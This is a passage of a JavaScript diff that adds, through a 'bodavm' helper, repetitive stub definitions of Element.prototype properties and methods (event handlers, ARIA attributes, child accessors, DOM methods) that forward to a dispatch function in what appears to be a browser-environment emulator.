'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforecopy", { + configurable: true, + enumerable: true, + get: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_get", arguments); + }, + set: function onbeforecopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforecut", { + configurable: true, + enumerable: true, + get: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_get", arguments); + }, + set: function onbeforecut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onbeforepaste", { + configurable: true, + enumerable: true, + get: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_get", arguments); + }, + set: function onbeforepaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onsearch", { + configurable: true, + enumerable: true, + get: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_get", arguments); + }, + set: function onsearch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "elementTiming", { + configurable: true, + enumerable: true, + get: function elementTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_get", arguments); + }, + set: function elementTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onfullscreenchange", { + configurable: true, + enumerable: true, + get: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_get", arguments); + }, + set: function onfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onfullscreenerror", { + configurable: true, + enumerable: true, + get: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_get", arguments); + }, + set: function onfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenchange", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_get", arguments); + }, + set: function onwebkitfullscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenerror", { + configurable: true, + enumerable: true, + get: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_get", arguments); + }, + set: function onwebkitfullscreenerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "role", { + configurable: true, + enumerable: true, + get: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_get", arguments); + }, + set: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaAtomic", { + configurable: true, + enumerable: true, + get: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_get", arguments); + }, + set: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaAutoComplete", { + configurable: true, + enumerable: true, + get: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_get", arguments); + }, + set: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBusy", { + configurable: true, + enumerable: true, + get: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_get", arguments); + }, + set: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBrailleLabel", { + configurable: true, + enumerable: true, + get: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_get", arguments); + }, + set: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaBrailleRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_get", arguments); + }, + set: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaChecked", { + configurable: true, + enumerable: true, + get: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_get", arguments); + }, + set: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColCount", { + configurable: true, + enumerable: true, + get: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_get", arguments); + }, + set: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColIndex", { + configurable: true, + enumerable: true, + get: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_get", arguments); + }, + set: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaColSpan", { + configurable: true, + enumerable: true, + get: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_get", arguments); + }, + set: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaCurrent", { + configurable: true, + enumerable: true, + get: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_get", arguments); + }, + set: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaDescription", { + configurable: true, + enumerable: true, + get: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_get", arguments); + }, + set: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaDisabled", { + configurable: true, + enumerable: true, + get: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_get", arguments); + }, + set: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaExpanded", { + configurable: true, + enumerable: true, + get: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_get", arguments); + }, + set: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaHasPopup", { + configurable: true, + enumerable: true, + get: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_get", arguments); + }, + set: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaHidden", { + configurable: true, + enumerable: true, + get: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_get", arguments); + }, + set: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaInvalid", { + configurable: true, + enumerable: true, + get: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_get", arguments); + }, + set: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaKeyShortcuts", { + configurable: true, + enumerable: true, + get: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_get", arguments); + }, + set: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLabel", { + configurable: true, + enumerable: true, + get: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_get", arguments); + }, + set: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLevel", { + configurable: true, + enumerable: true, + get: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_get", arguments); + }, + set: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLive", { + configurable: true, + enumerable: true, + get: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_get", arguments); + }, + set: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaModal", { + configurable: true, + enumerable: true, + get: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_get", arguments); + }, + set: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaMultiLine", { + configurable: true, + enumerable: true, + get: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_get", arguments); + }, + set: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaMultiSelectable", { + configurable: true, + enumerable: true, + get: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_get", arguments); + }, + set: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaOrientation", { + configurable: true, + enumerable: true, + get: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_get", arguments); + }, + set: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPlaceholder", { + configurable: true, + enumerable: true, + get: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_get", arguments); + }, + set: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPosInSet", { + configurable: true, + enumerable: true, + get: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_get", arguments); + }, + set: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPressed", { + configurable: true, + enumerable: true, + get: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_get", arguments); + }, + set: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaReadOnly", { + configurable: true, + enumerable: true, + get: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_get", arguments); + }, + set: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRelevant", { + configurable: true, + enumerable: true, + get: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_get", arguments); + }, + set: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRequired", { + configurable: true, + enumerable: true, + get: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_get", arguments); + }, + set: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_get", arguments); + }, + set: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowCount", { + configurable: true, + enumerable: true, + get: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_get", arguments); + }, + set: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowIndex", { + configurable: true, + enumerable: true, + get: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_get", arguments); + }, + set: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowSpan", { + configurable: true, + enumerable: true, + get: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_get", arguments); + }, + set: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSelected", { + configurable: true, + enumerable: true, + get: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_get", arguments); + }, + set: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSetSize", { + configurable: true, + enumerable: true, + get: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_get", arguments); + }, + set: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSort", { + configurable: true, + enumerable: true, + get: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_get", arguments); + }, + set: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueMax", { + configurable: true, + enumerable: true, + get: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_get", arguments); + }, + set: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueMin", { + configurable: true, + enumerable: true, + get: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_get", arguments); + }, + set: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueNow", { + configurable: true, + enumerable: true, + get: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_get", arguments); + }, + set: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueText", { + configurable: true, + enumerable: true, + get: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_get", arguments); + }, + set: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "children", { + configurable: true, + enumerable: true, + get: function children() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "children_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "firstElementChild", { + configurable: true, + enumerable: true, + get: function firstElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "firstElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "lastElementChild", { + configurable: true, + enumerable: true, + get: function lastElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "lastElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "childElementCount", { + configurable: true, + enumerable: true, + get: function childElementCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "childElementCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "previousElementSibling", { + configurable: true, + enumerable: true, + get: function previousElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "previousElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "nextElementSibling", { + configurable: true, + enumerable: true, + get: function nextElementSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "nextElementSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "after", { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "after", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "animate", { + configurable: true, + enumerable: true, + writable: true, + value: function animate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "animate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attachShadow", { + configurable: true, + enumerable: true, + writable: true, + value: function attachShadow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attachShadow", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "before", { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "before", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "closest", { + configurable: true, + enumerable: true, + writable: true, + value: function closest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "closest", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "computedStyleMap", { + configurable: true, + enumerable: true, + writable: true, + value: function computedStyleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "computedStyleMap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNames", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNames", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNode", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAttributeNodeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeNodeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNodeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getBoundingClientRect", { + configurable: true, + enumerable: true, + writable: true, + value: function getBoundingClientRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getBoundingClientRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getClientRects", { + configurable: true, + enumerable: true, + writable: true, + value: function getClientRects() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getClientRects", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByClassName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByClassName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByClassName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByTagName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getElementsByTagNameNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagNameNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagNameNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getInnerHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function getInnerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getInnerHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function hasAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function hasAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function hasAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "hasPointerCapture", { + configurable: true, + enumerable: true, + writable: true, + value: function hasPointerCapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasPointerCapture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentElement", { + configurable: true, + enumerable: true, + writable: true, + value: function insertAdjacentElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function insertAdjacentHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "insertAdjacentText", { + configurable: true, + enumerable: true, + writable: true, + value: function insertAdjacentText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentText", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "matches", { + configurable: true, + enumerable: true, + 